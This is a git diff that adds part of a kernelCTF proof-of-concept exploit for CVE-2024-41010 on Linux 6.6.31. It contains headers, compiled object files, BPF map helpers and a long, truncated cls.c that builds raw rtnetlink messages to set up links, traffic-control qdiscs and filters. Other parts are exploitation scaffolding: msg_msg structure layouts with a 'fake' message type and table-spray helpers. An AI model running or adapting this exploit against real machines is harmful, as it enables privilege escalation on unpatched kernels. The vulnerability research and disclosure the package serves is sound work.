b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h new file mode 100644 index 00000000..99dc20f5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h @@ -0,0 +1,74 @@ +#ifndef _CLASSIFIERS_H_ +#define _CLASSIFIERS_H_ + +#include + +#define TRIG_HOST "127.0.0.1" // 107.16.25.12 10.2.0.4 101.15.2.12 127.0.0.1 +#define TRIG_PORT 9999 +#define PORT_SERVER 9999 +#define ADDR_SERVER 0x6b10190c // 0x0a020004 0x6b10190c +#define ADDR_GW 0x6b1019ff + +#define ACT_INIT_SIZE NLA_ALIGN(sizeof(struct tc_connmark)+sizeof(struct nlattr)*2) +#define ACT_OPS_SIZE NLA_ALIGN(ACT_INIT_SIZE+sizeof(struct nlattr)*2 + NLA_ALIGN(9)) +#define ACT_SIZE NLA_ALIGN(ACT_OPS_SIZE+sizeof(struct nlattr)) +#define EXTS_SIZE NLA_ALIGN(ACT_SIZE+sizeof(struct nlattr)+sizeof(struct nlattr)*4+4*4) +#define CLS_SIZE NLA_ALIGN(sizeof(struct nlmsghdr)+sizeof(struct tcmsg) + sizeof(struct nlattr) + 8 + sizeof(struct nlattr) + 4 + EXTS_SIZE + 256) + +#define LINKDATA_SIZE NLA_ALIGN(sizeof(struct nlattr)*3 + 4*3) +#define LINKINFO_SIZE NLA_ALIGN(sizeof(struct nlattr) + 8) +#define LINK_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct ifinfomsg)+ LINKINFO_SIZE + sizeof(struct nlattr) + 12 + 256) + +#define BUF_SIZE 10*(8192+4096) + +#define DSMARK_SIZE (NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr))*2 + sizeof(struct nlattr)) +#define QDISC_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct tcmsg) + sizeof(struct nlattr) + NLA_ALIGN(10) + sizeof(struct nlattr) + 4 + DSMARK_SIZE + 256) + +#define ADDR_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct ifaddrmsg) + sizeof(struct nlattr)*2 + 4*2 + 256) + +#define ADD_ROUTE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct rtmsg) + sizeof(struct nlattr)*2 + 4*2 + 256) + +#define ADD_CLASS NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct rtmsg) + sizeof(struct nlattr)*2 + 4*2 + 256) + + +#define LINK_PROP_SIZE (LINK_SIZE - 276) +#define IFLA_PROP_LIST_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct nlattr) + 128) + +/* Qdisc */ +void rt_newqdisc(int, unsigned int, unsigned int, unsigned int, char *); +void rt_delqdisc(int, unsigned int, unsigned int, unsigned int); + +/* Class */ +void rt_getclass(int, unsigned int, unsigned int, unsigned int); +void rt_addclass(int, unsigned int, unsigned int, unsigned int); +void rt_delclass(int, unsigned int, unsigned int, unsigned int); + +/* Filter */ +void rt_addfilter(int, unsigned int, unsigned int, unsigned int, unsigned int, char *, int); +void rt_getfilter(int, unsigned int, unsigned int, void *); +void rt_setfilter(int, unsigned int, char *); +void rt_delfilter(int, unsigned int, unsigned int, unsigned int, unsigned int, char *, int); +void start_echo_sv(); + +/* Chain */ +void rt_newchain(int, unsigned int, unsigned int, unsigned int); +void rt_delchain(int, unsigned int, unsigned int); + +/* rtnetlink */ +int rt_getlink(int, char*); +void rt_newlink(int, char*, unsigned int); +void rt_dellink(int, char*); +void rt_setlink(int, unsigned int); + +/* inet */ +void inet_newaddr(int, unsigned int, unsigned int, unsigned int); +void inet_deladdr(int, unsigned int, unsigned int, unsigned int); +void inet_dumpaddr(int, unsigned int); + +void rt_altifname(int, unsigned int, char *, int); + +/* route */ +void rt_addroute(int); +void rt_cloneroute(int, unsigned int); + +#endif /* _CLASSIFIERS_H_ */ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h new file mode 100644 index 00000000..aaaa84b1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h @@ -0,0 +1,30 @@ +#define _LOCAL_NETLINK_H_ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void create_table(struct mnl_socket *, char *); +void create_set(struct mnl_socket *, char *, char*); +void create_obj(struct mnl_socket *, char *, char*); +void del_obj(struct mnl_socket *, char *, char*); +void get_obj( char *, char*); +void create_table_with_data(struct mnl_socket *, char *, void *, size_t); +char *dump_table(char *); +void delete_table(struct mnl_socket *, char *); + +void cleanup_spray_tables(struct mnl_socket *); +void tbl_append_name(char *); +char *generate_rnd_name(void); diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h new file mode 100644 index 00000000..e5d32295 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h @@ -0,0 +1,12 @@ +#ifndef _LOG_H_ +#define _LOG_H_ + +#include +#include + + +#define errout(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0) + +void hexdump(void *, unsigned int ); + +#endif /* _LOG_H_ */ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h new file mode 100644 index 00000000..cb583061 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h @@ -0,0 +1,32 @@ +#ifndef _MSG_H_ +#define _MSG_H_ + +#include +#include + +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 + +typedef struct +{ + long mtype; + char mtext[0]; +} msg_t; + +struct list_head +{ + struct list_head *next, *prev; +}; + +struct msg_msg +{ + struct list_head m_list; + long m_type; + size_t m_ts; /* message text size */ + uint64_t next; + uint64_t security; + uint8_t text[0]; +}; + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h new file mode 100644 index 00000000..cd0e49bd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h @@ -0,0 +1,26 @@ +#ifndef _RTNETLINK_H_ +#define _RTNETLINK_H_ + +#include +#include + +#define NETLINK_RECEIVE_BUFFER_SIZE 4096 +#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x) +#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN) + + +/* Netlink attributes */ +struct nlattr *set_str8_attr(struct nlattr *, uint16_t, char *); +struct nlattr *set_str_attr(struct nlattr *, uint16_t, char *); +struct nlattr *set_strn_attr(struct nlattr *, uint16_t, char *, int); +struct nlattr *set_binary_attr(struct nlattr *, uint16_t, uint8_t *, uint64_t); +struct nlattr *set_nested_attr(struct nlattr *, uint16_t, uint16_t); +struct nlattr *set_u32_attr(struct nlattr *, uint16_t, uint32_t); +struct nlattr *set_u32_attr_nat(struct nlattr *, uint16_t, uint32_t); +struct nlattr *set_u16_attr(struct nlattr *, uint16_t, uint16_t); +struct nlattr *set_u8_attr(struct nlattr *, uint16_t, uint8_t); +struct nlattr *set_u64_attr(struct nlattr *, uint16_t, uint64_t); +struct nlattr *set_flag_attr(struct nlattr *, uint16_t); + + +#endif /* _RTNETLINK_H_ */ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h new file mode 100644 index 00000000..c5172130 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h @@ -0,0 +1,13 @@ +#ifndef _SETUP_H_ +#define _SETUP_H_ + +#include +#include + +#define DEF_CORE 0 + +void assign_to_core(int core_id); +int setup_sandbox(void); + + +#endif /* _SETUP_H_ */ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/bpf.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/bpf.o new file mode 100644 index 00000000..936f68fe Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/bpf.o differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/cls.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/cls.o new file mode 100644 index 00000000..53c099d6 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/cls.o differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o new file mode 100644 index 00000000..2027e9d1 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/log.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/log.o new file mode 100644 index 00000000..7e9e9b8c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/log.o differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/rtnetlink.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/rtnetlink.o new file mode 100644 index 00000000..a1c972f8 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/rtnetlink.o differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/setup.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/setup.o new file mode 100644 index 00000000..0a2ff01b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/setup.o differ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c new file mode 100644 index 00000000..d1c5ba2a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/bpf.c @@ -0,0 +1,44 @@ +#include +#include +#include "bpf.h" + +int bpf(int cmd, union bpf_attr *attrs) +{ + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +int map_create(int val_size, int max_entries) +{ + union bpf_attr attr = { + .map_type = BPF_MAP_TYPE_ARRAY, + .key_size = sizeof(int), + .value_size = val_size, + .max_entries = max_entries}; + int mapfd = bpf(BPF_MAP_CREATE, &attr); + if (mapfd == -1) + perror("bpf(BPF_MAP_CREATE)"); + return mapfd; +} + +int map_update(int mapfd, int key, void *pval) +{ + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)pval, + .flags = BPF_ANY}; + int res = bpf(BPF_MAP_UPDATE_ELEM, &attr); + if (res == -1) + perror("bpf(BPF_MAP_UPDATE_ELEM)"); + return res; +} + +int map_lookup(int mapfd, int key, void *pval) +{ + union bpf_attr attr = { + .map_fd = mapfd, + .key = (uint64_t)&key, + .value = (uint64_t)pval, + .flags = BPF_ANY}; + return bpf(BPF_MAP_LOOKUP_ELEM, &attr); +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c new file mode 100644 index 00000000..5d4d7049 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/src/cls.c @@ -0,0 +1,1548 @@ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "rtnetlink.h" +#include "cls.h" +#include "log.h" +#include "setup.h" + +/** + * start_echo_sv(): starting the TCP server for sending and receiving network package + */ +void start_echo_sv() +{ + int sfd = 0, sock = 0, r = 0, n = 0; + struct sockaddr_in address; + int opt = 1; + int addrlen = sizeof(address); + char buffer[1024] = {0}; + char dev_name[] = "br0\0"; + + if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + errout("socket"); + + address.sin_family = AF_INET; + address.sin_addr.s_addr = inet_addr(TRIG_HOST); + address.sin_port = htons(TRIG_PORT); + + if (bind(sfd, (struct sockaddr *)&address, sizeof(address)) < 0) + errout("bind"); + + if (listen(sfd, 3) < 0) + errout("listen"); + + if ((sock = accept(sfd, (struct sockaddr *)&address, (socklen_t *)&addrlen)) < 0) + errout("accept"); + + r = read(sock, buffer, 4); + + /* write: echo the input string back to the client */ + n = write(sock, buffer, r); + if (n < 0) + errout("ERROR writing to socket"); + + close(sock); + close(sfd); + + return; +} + +/** + * rt_addfilter(): create a new filter + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + * @handle: filter handle, using for identify in the list of many filters + * @class_id: class_id + */ +void rt_addfilter(int sock, unsigned int link_id, unsigned int parent, unsigned int handle, unsigned int chain, char *kind, int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + int proto; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_addfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_NEWTFILTER; // tc_new_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + t = NLMSG_DATA(nlh); + proto = 0x300; + t->tcm_info = (prio << 16) | (proto); + t->tcm_parent = parent; + t->tcm_handle = handle; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + if (chain != 0) + { + tca = set_u32_attr(tca, TCA_CHAIN, htonl(chain)); + } + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + if (sendmsg(sock, &msg, 0) < 0) + { + perror("[-] sendmsg"); + } + + free(nlh); +} + +/** + * rt_getfilter(): get tcindex filter operations + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + * @buf_rcv: buffer to copy data to + */ +void rt_getfilter(int sock, unsigned int link_id, unsigned int handle, void *buf_recv) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + int prio, proto, ret; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_getfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_GETTFILTER; // tc_new_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + t = NLMSG_DATA(nlh); + prio = 1; + proto = 0x300; + t->tcm_info = (prio << 16) | (proto); + t->tcm_parent = 0x10000; + t->tcm_handle = handle; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + ret = recvmsg(sock, &msg, 0); + if (ret == -1) + perror("[-] recvmsg"); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_delfilter(): delete tcindex filter operations + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + * @handle: filter handle, using for identify in the list of many filers + */ +void rt_delfilter(int sock, unsigned int link_id, unsigned int handle, unsigned int parent, unsigned int chain, char *kind, int prio) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + int proto; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_delfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_DELTFILTER; // tc_del_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + t = NLMSG_DATA(nlh); + proto = 0x300; + t->tcm_info = (prio << 16) | (proto); + t->tcm_parent = parent; + t->tcm_handle = handle; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + tca = set_u32_attr(tca, TCA_CHAIN, htonl(chain)); + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_setfilter(): set tcindex filter operations + * @sock: socket bound to the route table netlink + * @link_id: identify id of the link network + */ +void rt_setfilter(int sock, unsigned int link_id, char *kind) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tca; + struct tcmsg *t; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(CLS_SIZE); + if (!nlh) + errout("rt_setfilter malloc"); + + memset(nlh, 0, CLS_SIZE); + nlh->nlmsg_len = CLS_SIZE; + nlh->nlmsg_type = RTM_NEWTFILTER; // tc_new_tfilter + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = 0; + + /* route table data */ + // Attribute failed policy validation + t = NLMSG_DATA(nlh); + t->tcm_info = (1 << 16) | (0x300); + t->tcm_parent = 0x10000; + t->tcm_handle = 1; + + t->tcm_ifindex = link_id; + t->tcm_family = AF_INET; + + /* prepare asociated attribute */ + tca = (void *)t + NLMSG_ALIGN(sizeof(struct tcmsg)); + tca = set_str_attr(tca, TCA_KIND, kind); + set_u32_attr(tca, TCA_CHAIN, 7); + tca = set_nested_attr(tca, TCA_OPTIONS, EXTS_SIZE); // options + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); // tc_new_tfilter + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_getlink(): get link information + * @sock: socket bound to the route table netlink + * @link_name: name of the link (eth0, enp0s33, lo, tunl0, etc) + */ +int rt_getlink(int sock, char *link_name) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + char buf_recv[BUF_SIZE] = {0}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_getlink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_GETLINK; // rtnl_getlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + + /* prepare associated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + tb = set_str_attr(tb, IFLA_IFNAME, link_name); + set_u32_attr(tb, TCA_CHAIN, 7); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* receive message */ + iov[0].iov_base = (void *)buf_recv; + iov[0].iov_len = BUF_SIZE; + memset(&msg, 0, sizeof(msg)); + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + ret = recvmsg(sock, &msg, 0); + if (ret == -1) + errout("recvmsg"); + + ifm = NLMSG_DATA(buf_recv); + + /* Free used structures */ + free(nlh); + + /* Receive message */ + return ifm->ifi_index; +} + +/** + * rt_newlink(): create new link + * @sock: socket bound to the route table netlink + * @link_name: name of the new link, maximum size is 16 + */ +void rt_newlink(int sock, char *link_name, unsigned int index) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + char kind_ops[] = "bridge\0"; // bridge veth + char buf_recv[BUF_SIZE]; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_newlink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_NEWLINK; // rtnl_newlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + ifm->ifi_index = index; + ifm->ifi_flags = IFF_UP | IFF_MULTICAST | IFF_DEBUG; + + /* prepare asociated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + tb = set_u8_attr(tb, IFLA_OPERSTATE, IF_OPER_UP); + tb = set_str_attr(tb, IFLA_IFNAME, link_name); + tb = set_nested_attr(tb, IFLA_LINKINFO, LINKINFO_SIZE); + tb = set_str_attr(tb, IFLA_INFO_KIND, kind_ops); + tb = set_nested_attr(tb, IFLA_INFO_DATA, LINKDATA_SIZE); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_dellink(): delete the exist link + * @sock: socket bound to the route table netlink + * @link_name: name of the new link, maximum size is 16 + */ +void rt_dellink(int sock, char *link_name) +{ + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + // char link_name[] = "tunl0\0"; // enps03 fails + char buf_recv[BUF_SIZE]; + + // printf("[+] del link: %s\n", link_name); + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_dellink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_DELLINK; // rtnl_dellink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + + /* prepare asociated attribute */ + tb = (void *)nlh + NLMSG_SPACE(sizeof(struct ifinfomsg)); + // tb = set_nested_attr(tb, IFLA_LINKINFO, sizeof(struct nlattr)+8); + tb = set_str_attr(tb, IFLA_IFNAME, link_name); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, &msg, 0); + + /* Free used structures */ + free(nlh); +} + +/** + * rt_setlink(): set the exist link + * @sock: socket bound to the route table netlink + * @link_id: identify link + */ +void rt_setlink(int sock, unsigned int link_id) +{ + + struct msghdr msg; + struct sockaddr_nl dest_snl; + struct iovec iov[3]; + struct nlmsghdr *nlh; + struct nlattr *tb; + struct ifinfomsg *ifm; + int prio, proto, ret; + char buf_recv[BUF_SIZE]; + char mac_addr[7] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x00}; + + /* Destination preparation */ + memset(&dest_snl, 0, sizeof(struct sockaddr_nl)); + dest_snl.nl_family = AF_NETLINK; + memset(&msg, 0, sizeof(msg)); + + /* route table netlink table message preparation */ + nlh = (struct nlmsghdr *)malloc(LINK_SIZE); + if (!nlh) + errout("rt_setlink malloc"); + + memset(nlh, 0, LINK_SIZE); + nlh->nlmsg_len = LINK_SIZE; + nlh->nlmsg_type = RTM_SETLINK; // rtnl_setlink + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // need NLM_F_REQUEST flag + nlh->nlmsg_seq = 0; + + /* route table data */ + // infomation + ifm = NLMSG_DATA(nlh); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + ifm->ifi_flags = IFF_MULTICAST | IFF_BROADCAST | IFF_UP; // IFF_MULTICAST IFF_DEBUG IFF_UP + + /* prepare asociated attribute */ + tb = (void *)ifm + NLMSG_ALIGN(sizeof(struct ifinfomsg)); + tb = set_u8_attr(tb, IFLA_OPERSTATE, IF_OPER_UP); + + /* IOV preparation */ + memset(iov, 0, sizeof(struct iovec) * 3); + iov[0].iov_base = (void *)nlh; + iov[0].iov_len = nlh->nlmsg_len; + + /* Message header preparation */ + msg.msg_name = (void *)&dest_snl; + msg.msg_namelen = sizeof(struct sockaddr_nl); + msg.msg_iov = iov; + msg.msg_iovlen = 1; + + sendmsg(sock, 